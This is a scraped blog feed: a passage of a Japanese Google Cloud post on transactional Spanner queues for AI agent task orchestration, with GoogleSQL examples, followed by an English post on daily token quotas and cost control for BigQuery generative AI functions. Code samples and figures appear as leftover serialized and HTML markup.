エピソード記憶の永続性とハンドオフ。エージェント メモリの更新(長期的なエピソードの要約、内省的な状態遷移、サブエージェント間のコンテキストのハンドオフなど)は、キューを介して非同期かつトランザクション的に永続化できます。これにより、リアルタイムのインタラクティブなターンをブロックすることなく、エージェントの内部メモリが実行履歴と完全に同期された状態に保たれます。
Spanner キューが自律型エージェントに不可欠な理由
トランザクションによる exactly-once のエージェント実行: エージェントがツール呼び出しの結果を評価すると、状態の変更、推論の永続化、ダウンストリーム ツール呼び出しタスクが 1 つのトランザクションに保存されます。少なくとも 1 回の配信と、最大 1 回の ACK を保証することで、exactly-once の処理を実現できます。
堅牢なマルチエージェント オーケストレーションとハンドオフ: マルチエージェント システム(A2A)では、プライマリ エージェントからスペシャリスト エージェントへの状態のハンドオフは、永続的でトランザクション的に commit されたメッセージとして処理されます。スペシャリスト エージェント ワーカーは、エージェント間のやり取りの完全に監査可能なリネージを維持しながら、配信されたメッセージを受信します。
ファースト クラスのタイムアウトと人間参加型ワークフロー: エージェント ワークフローでは、人間の承認やスケジュールされたフォローアップのために一時停止が必要になることがよくあります。Spanner キューはタイムアウト管理をネイティブに処理します。単一のトランザクションが承認待ち状態を記録し、自動エスカレーション メッセージをスケジュールして、どちらか先にトリガーされた方の処理を確定させます。
エージェント キューの SQL ネイティブなオブザーバビリティ: 処理中のエージェント ワークロードの検査、タスク バックログのモニタリング、エージェント実行履歴の監査は、キューテーブルに対する標準 SQL クエリで実行できるため、中身の見えないメッセージストアのブラックボックス化を防ぐことができます。
エージェント ワークフローの先
AI エージェント以外にも、Spanner キューは、さまざまな従来のイベント ドリブン アーキテクチャに対応する柔軟な多目的メッセージング プラットフォームとして機能します。ソーシャル アプリケーションでのリアルタイムのアクティビティ フィードの強化、ニュース配信でのライブ情報の提供、小売業での注文処理と在庫ワークフローのオーケストレーション、金融サービスでの高スループットの非同期タスク処理とトランザクション通知の処理など、Spanner キューは、プライマリ データベース内での非同期メッセージ配信とトランザクション イベント ドリブン ワークフローのための堅牢な基盤を提供します。
仕組み: Spanner キューのトランザクション メカニズム
Spanner キューは Spanner のファースト クラスのリレーショナル構造として表されるため、使い慣れた GoogleSQL を使用してキューを定義、検査、管理できます。
1. キューの定義とアトミックなエンキュー
エージェントが顧客への払い戻しを承認すると、単一の ACID トランザクション内で Orders テーブルを更新し、OrderAgentTasks キューに実行タスクをディスパッチします。
- code_block
- <ListValue: [StructValue([('code', '-- Assume parent table:\r\n-- CREATE TABLE Orders (\r\n-- OrderId STRING(64) NOT NULL, ...\r\n-- )\r\n-- PRIMARY KEY (OrderId);\r\n\r\n-- Define the transactional queue table\r\nCREATE QUEUE OrderAgentTasks (\r\n OrderId STRING(64) NOT NULL,\r\n TaskId STRING(64) NOT NULL,\r\n TaskType STRING(64) NOT NULL,\r\n Payload JSON NOT NULL\r\n) PRIMARY KEY (OrderId, TaskId, TaskType), INTERLEAVE IN Orders;\r\n\r\n-- Inside a Read-Write Transaction:\r\n-- 1. Update business state atomically\r\n\r\n-- BEGIN TRANSACTION;\r\n\r\nUPDATE Orders\r\nSET Status = \'REFUND_APPROVED\',\r\n UpdatedAt = PENDING_COMMIT_TIMESTAMP()\r\nWHERE OrderId = @orderId;\r\n\r\n-- 2. Enqueue the asynchronous agent action in the same transaction\r\nINSERT INTO OrderAgentTasks (OrderId, TaskId, TaskType, Payload)\r\nVALUES (\r\n @orderId,\r\n @taskId,\r\n \'EXECUTE_REFUND\',\r\n JSON \'{"action": "execute_refund", "amount": 49.99}\'\r\n);\r\n\r\n-- COMMIT;'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd9e9acab10>)])]>
これにより、注文ステータスが REFUND_APPROVED に正常に移行した場合に限り、EXECUTE_REFUND タスクが存在するようになります。
2. 時間的スケジューリングとアトミックなキャンセル
エスカレーション前にマネージャーの承認を最大 72 時間待つなど、時間に依存するワークフローの場合、エージェントはシステム DeliverTime 列に値を入力して、メッセージの可視性を遅らせます。
- code_block
- <ListValue: [StructValue([('code', '-- Schedule an automated escalation check-in 72 hours in the future\r\nINSERT INTO OrderAgentTasks (OrderId, TaskId, TaskType, Payload, DeliverTime)\r\nVALUES (\r\n @orderId,\r\n @escalationTaskId,\r\n \'ESCALATE_UNAPPROVED_ORDER\',\r\n JSON \'{"action": "escalate_to_supervisor"}\',\r\n TIMESTAMP_ADD(CURRENT_TIMESTAMP(), INTERVAL 72 HOUR)\r\n);'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd9e9acbc90>)])]>
マネージャーが 4 時間後にリクエストを承認した場合、アプリケーションは数日後に発生するファントム エスカレーション アラートに対処する必要はありません。1 回のトランザクションで、標準 SQL DELETE を使用して注文ステータスを更新し、保留中のエスカレーション タスクをキャンセルします。
- code_block
- <ListValue: [StructValue([('code', "-- BEGIN TRANSACTION;\r\n\r\nUPDATE Orders\r\nSET Status = 'MANAGER_APPROVED',\r\n ApprovedBy = @managerId\r\nWHERE OrderId = @orderId;\r\n\r\n-- Atomically cancel the pending delayed escalation task. `ASSERT_ROWS_MODIFIED 1` will\r\n-- act as a safeguard and cause a statement level error.\r\n\r\n-- A statement level error can be captured and the transaction can be\r\n-- user-aborted/cancelled in case the queue entry was already deleted.\r\n-- Otherwise the transaction will complete successfully regardless if the \r\n-- queue entry still exists and you'll only know if a queue entry was deleted by\r\n-- checking the number of rows affected by the DELETE.\r\nDELETE FROM OrderAgentTasks\r\nWHERE OrderId = @orderId\r\n AND TaskId = @escalationTaskId\r\n AND TaskType = 'ESCALATE_UNAPPROVED_ORDER',\r\nASSERT_ROWS_MODIFIED 1;\r\n\r\n-- COMMIT;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd9e9ac9b90>)])]>
3. ストリーミング消費、リースの更新、アトミックな確認応答
ダウンストリーム エージェント ワーカーは、ストリーミング SQL 接続(ExecuteStreamingSql)経由で RECEIVE_<QueueName> テーブル値関数(TVF)を使用してタスクを消費します。Spanner はメッセージ リースを自動的に管理し、リースされたタスクごとに一意の SpannerLeaseToken と有効期限のタイムスタンプを返します。
- code_block
- <ListValue: [StructValue([('code', "-- Step 1: Consume tasks via a long-lived streaming SQL query\r\nSELECT\r\n OrderId,\r\n TaskId,\r\n TaskType,\r\n Payload,\r\n SpannerLeaseToken,\r\n SpannerLeaseExpirationTimestamp\r\nFROM RECEIVE_OrderAgentTasks(max_duration => '20m');"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd9e9ac8090>)])]>
AI エージェントのタスクには、デフォルトのリース期間よりも長い時間を要するマルチターン LLM 推論や外部 API 呼び出しが含まれることが多いため、ワーカーは RENEWLEASE_<QueueName> 関数を使用してリースを積極的に延長できます。
- code_block
- <ListValue: [StructValue([('code', '-- Step 2: Extend lease ownership during long-running agent execution\r\nSELECT *\r\nFROM RENEWLEASE_OrderAgentTasks(lease_tokens => [@leaseToken]);'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd9e9acb1d0>)])]>
エージェントは、外部ツールの実行を完了すると(このとき TaskId を外部 API のべき等キーとして渡します)、読み取り / 書き込みトランザクションを開いて最終状態を記録し、ASSERT_ROWS_MODIFIED 1 を使用してメッセージを削除することで確認応答(ACK)を行います。
- code_block
- <ListValue: [StructValue([('code', "-- Step 3: Atomically checkpoint agent results and ACK the message\r\n-- BEGIN TRANSACTION;\r\n\r\nUPDATE Orders\r\nSET RefundTransactionId = @externalRefundId,\r\n Status = 'REFUND_COMPLETED'\r\nWHERE OrderId = @orderId;\r\n\r\nDELETE FROM OrderAgentTasks\r\nWHERE OrderId = @orderId\r\n AND TaskId = @taskId\r\n AND TaskType = @taskType\r\nASSERT_ROWS_MODIFIED 1;\r\n\r\n-- COMMIT;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd9e9acb510>)])]>
ASSERT_ROWS_MODIFIED 1 を使用すると、リースの期限切れに伴う競合状態からシステムを保護できます。ネットワークの一時停止が原因でワーカーが停止し、リースが期限切れになった場合、別のワーカーがすでにタスクを処理して削除している可能性があります。停止したワーカーが再開してステートメントを実行しようとすると、ASSERT_ROWS_MODIFIED 1 は、キュー行がすでに存在しないことを検出し、ステートメント レベルのエラーをスローします。このエラーをキャッチしてトランザクションを中止することで、古いワーカーが新しいデータベースの状態を上書きするのを防ぎます。
Spanner 変更ストリームと Spanner キューの比較
Spanner の変更ストリームは、データベースのデータ変更(挿入、更新、削除)を準リアルタイムでキャプチャし、ダウンストリームの統合や監査に提供します。変更ストリームとキューはどちらも、アプリケーションがデータの変更を検知して処理できるようにするものですが、Spanner の変更ストリームは、継続的な変更データ キャプチャ(CDC)や、ダウンストリームの分析 / ストレージへのデータ ストリーミング向けに設計されています。一方、Spanner キューは、トランザクション タスクのオーケストレーション向けに明示的に設計されており、ネイティブ メッセージ リース、スケジュール配信、SQL ベースの pull、読み取り / 書き込みトランザクション内でのアトミックな確認応答をサポートしています。
使ってみる
Spanner は、リレーショナル、ハイブリッド検索、グラフ、Key-Value の機能を厳格なグローバル整合性の下で組み合わせ、エージェント データのための統合された基盤を提供します。Spanner キューは、エージェントが単一の統合プラットフォーム内でデータの推論からトランザクション アクションの実行にシームレスに移行できるようにすることで、エージェント ループを完成させます。Spanner キューの一般提供が開始されました。
Spanner の 90 日間無料トライアルに登録し、公開ドキュメントをお読みください。Spanner データベースにキューテーブルを作成して、復元力のある exactly-once のエージェント ワークロードの構築を今すぐ開始できます。
- プロダクト マネージャー、Nitin Sagar
- エンジニアリング マネージャー兼 Cloud Spanner データ ストリーミング リード、Matthew Mucklo
Google Cloud Blog (AI & ML)
Predictable AI spend in BigQuery: Introducing cost management for generative AI functions
- Link: https://cloud.google.com/blog/products/data-analytics/using-bigquerys-generative-ai-cost-management-features/
- Published: 2026-10-15 01:00:00
- Fetched: 2026-10-15 01:34:57
詳細を表示
The generative AI functions in BigQuery (AI.GENERATE, AI.IF, AI.CLASSIFY, AI.SCORE, and more) bring large language models (LLMs) directly into your SQL, so a single query can classify millions of support tickets or score each product review for sentiment. However, because these functions are billed by the token, scaling them across massive datasets highlights the importance of managing your budget proactively.
We recently announced the general availability (GA) of token-based cost management for BigQuery generative AI functions: daily quotas that let administrators set self-serve guardrails on AI token consumption, so teams can innovate while staying within your budget. In this blog, we provide an overview of cost management for BigQuery generative AI functions, walk through a few practical examples, and share resources to help you get started. Let’s jump in.
Quotas for managing costs
Four daily quotas, managed through the Google Cloud Identity and Access Management (IAM) quota system, provide controls at the project level and the per-user level. Per-user limits apply to each user within a project, not across your organization.
|
Quota name |
Metric |
Scope |
Default value |
|---|---|---|---|
|
AI input tokens per day |
Input tokens used by the LLM |
Per day, per project |
200 billion |
|
AI input tokens per day per user |
Input tokens used by the LLM |
Per day, per project, per user |
150 billion |
|
AI output tokens per day |
Output and thinking tokens used by the LLM |
Per day, per project, per project |
20 billion |
|
AI output tokens per day per user |
Output and thinking tokens used by the LLM |
Per day, per project, per user |
15 billion |
Key details:
-
The quotas are global. Usage is summed across all regions, so costs can't pile up unnoticed in a region you weren't watching.
-
Output quotas include "thinking" tokens. Reasoning tokens count toward your output quota, just as they count toward your Gemini platform bill.
Which functions are covered?
The quotas apply to these BigQuery functions that perform LLM-backed generation:
-
AI.GENERATE_TEXT(and its aliasML.GENERATE_TEXT)
What's not covered: Embedding functions such as AI.GENERATE_EMBEDDING (also available as ML.GENERATE_EMBEDDING) and AI.EMBED are not subject to these quotas, because they run on different, substantially cheaper models.
Managing your quotas
Administrators can view and adjust the quotas directly in the Google Cloud console as workloads change, with no support case required.
-
Navigate to IAM & Admin → Quotas & System Limits.
-
Filter by service and select BigQuery API.
-
Sort by the Name column to bring the four AI quotas to the top.
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="1" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/1_dxxy8WS.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Locating the gen AI token quotas in IAM & Admin → Quotas & System Limits.</p></figcaption>
</figure>
</div>
</div>
4. Find the quota, for example AI input tokens per day.
5. Open the three-dot menu and choose Edit quota.
From there:
-
To tighten cost control, lower a quota. This takes effect immediately with no approval needed.
-
To support higher usage, request an increase from the same page. Many requests are auto-approved; larger increases may go through a quick review.
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="2" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2_7NmvWbT.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Editing a gen AI token quota in IAM & Admin → Quotas & System Limits.</p></figcaption>
</figure>
</div>
</div>
You'll need the right permissions. You need one of: Owner, Editor, Quota Administrator (roles/servicemanagement.quotaAdmin), or Service Usage Admin (roles/serviceusage.serviceUsageAdmin).
Prefer automation? You can also manage these quotas programmatically through the Cloud Quotas API, the gcloud CLI, and Terraform to apply consistent guardrails across projects.
Monitoring usage
Beyond setting limits, the Quotas & System Limits page displays your historical token consumption so you can quickly detect spikes and right-size your budgets. Use these trends to see how new generative AI workloads and data pipelines affect your overall token usage.
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="3" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/3_sSNHw57.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Daily project-level token usage for a gen AI token quota in IAM & Admin → Quotas & System Limits.</p></figcaption>
</figure>
</div>
</div>
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="4" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/4_iYgfR4l.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>Longer-term usage graph with selectable 7-day, 14-day, 30-day, and custom ranges.</p></figcaption>
</figure>
</div>
</div>
For a step-by-step walkthrough, see the BigQuery documentation on controlling costs with token quotas.
Token quotas vs. billing spend caps
Token quotas aren't the only cost guardrail in Google Cloud.
-
Token quotas (this feature) are preventive and AI-specific. BigQuery tracks token usage during query execution and stops work close to the limit, with separate limits per project and per user.
-
Cloud Billing spend caps operate on dollars at the project and service level and can automatically block usage when a threshold is reached. They're a broad, financial backstop rather than a precise usage control, and because enforcement is not instant, some overages are incurred.
Use token quotas as your first line of defense for AI spend, and a spend cap as a project-wide safety net.
How enforcement works
Quotas are enforced by stopping work rather than letting a query run past your limit. A query is rejected up front with a QuotaExceeded error only if a quota it needs is already exhausted. Otherwise, it starts, and if a quota runs out mid-query, BigQuery stops sending new LLM calls:
-
Functions that support
max_error_ratio(such asAI.IF) return partial results if unprocessed rows stay within the ratio, and otherwise fail. -
General-purpose functions (such as
AI.GENERATE) still succeed. Skipped rows have no generated value, and theirstatusfield contains the quota-exceeded error.
For details, see quota enforcement behavior in the documentation.
Sizing your input data: AI.COUNT_TOKENS
To choose quota values, it helps to know how much text your workloads send to a model. The AI.COUNT_TOKENS function helps with this.
AI.COUNT_TOKENS returns the number of tokens a model's tokenizer produces for a text string, without making a billable generation call. Run it over a column to measure your input data:
- code_block
- <ListValue: [StructValue([('code', "-- Count the input text tokens for each product review\r\nSELECT\r\n SUM(\r\n AI.COUNT_TOKENS(\r\n CONCAT('Classify the sentiment of this review as positive, negative, or neutral: ', review_text),\r\n\r\n endpoint => 'gemini-3.1-flash-lite').result) AS total_input_tokens\r\nFROM\r\n `my_project.my_dataset.product_reviews`;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f445b622b10>)])]>
The count is a lower bound on input tokens. It doesn't include output or thinking tokens, the instructions each AI function adds around your input, or non-text inputs such as images. Use it to:
-
Gauge the input side of a workload before you launch it.
-
Right-size your quotas together with a small sample run that measures actual input and output usage.
-
Translate tokens into dollars using the published Gemini platform pricing for your model.
From tokens to budget: a worked example
Suppose you want to keep a project's daily AI spend around $100 with the Gemini 3.1 Flash-Lite model. As of today's published pricing (BigQuery processes in batch which provides a 50% discount):
-
Input tokens: $0.125 per 1 million tokens
-
Output tokens (response + reasoning): $0.75 per 1 million tokens
If a small sample run shows an average 100:1 input-to-output token ratio, you can solve for a daily budget:
- code_block
- <ListValue: [StructValue([('code', 'Cost: 0.125 × I + 0.75 × O = 100 (I, O in millions of tokens)\r\nRatio: I = 100 × O'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f445ae5cf10>)])]>
Solving gives about 754 million input tokens and 7.54 million output tokens per day. Set AI input tokens per day and AI output tokens per day to these values to hold the project near $100/day. If a project uses models with different prices, budget per model or blend the rates.
Best practices for managing AI cost
-
Start with per-user quotas. They stop one user or runaway experiment from draining the project's budget.
-
Measure before you scale. Use
AI.COUNT_TOKENSto size your input, then check a small sample run in the usage chart before setting limits. -
Mind the output side. Output tokens cost more. Where a function accepts
max_output_tokens, set it to bound generation length. -
Monitor and iterate. Adjust limits as real usage and budgets change.
Get started
Token-based cost management is available now. To begin:
-
Open IAM & Admin → Quotas & System Limits in the Google Cloud Console and filter by BigQuery API.
-
Review the four AI-related token quotas and set limits that match your budget.
-
Use
AI.COUNT_TOKENSto size your input data.
For the full details, see the documentation on controlling generative AI costs.
With token-based guardrails in place, your teams can use generative AI in BigQuery with the cost predictability your organization needs.